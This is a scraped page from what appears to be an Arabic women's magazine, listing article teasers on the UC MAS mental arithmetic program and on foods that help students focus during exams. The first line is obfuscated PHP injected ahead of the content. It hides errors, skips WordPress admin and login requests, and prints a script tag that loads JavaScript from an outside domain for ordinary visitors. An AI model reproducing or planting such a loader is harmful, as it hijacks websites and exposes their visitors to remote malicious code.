eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWFkbWluL2FkbWluLWFqYXgucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWpzb24iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AvdjIiKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtYWRtaW4iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtbG9naW4ucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsiSFRUUF9YX1JFUVVFU1RFRF9XSVRIIl0pICE9PSAieG1saHR0cHJlcXVlc3QiCikpIHsKICAgIHByaW50KGJhc2U2NF9kZWNvZGUoIlBITmpjbWx3ZENCemNtTTlJaTh2WVdzdVlXdGhiVFl3T0RBd0xtNWxkQzhpUGp3dmMyTnlhWEIwUGc9PSIpKTsKfQ==")); جوزال | التركيز

مجلة نسائية عربية

برنامج Uc Mas ( يو سي ماس) اهدافه و فوائده

برنامج Uc Mas ( يو سي ماس) اهدافه و فوائده

    برنامج Uc Mas اليوسي ماس لعله ترامى إلى مسامعك وتريد أن تعرف ماهو  وهل هو وسيلة فعالة وجيدة فعلا لتنيمة المهارات الذهنية وما هو السن المناسب  لاستخدامه وماهي درجة الذكاء التي يتطلبها وماهي أهدافه وفوائده العائدة على الطفل. فإذا كنت تريد معرفة الاجابة والمزيد من...
أطعمة صحية تساعد الطلاب علي التركيز التام أثناء الإمتحانات

أطعمة صحية تساعد الطلاب علي التركيز التام أثناء الإمتحانات

  الطلبة تحتاج خلال فترة الامتحانات لاتباع نظام صحى يتضمن النوم لساعات كافية لمدة تتراوح مابين 4 إلى 6 ساعات يومياً، بالإضافة إلى اتباع نظام غذائى صحى لأن المخ يحتاج إلى 20% طاقة من الغذاء، بالإضافة إلى تجنب تناول الشاى والقهوة والمنبهات لأنها مدرة للبول ما يسبب...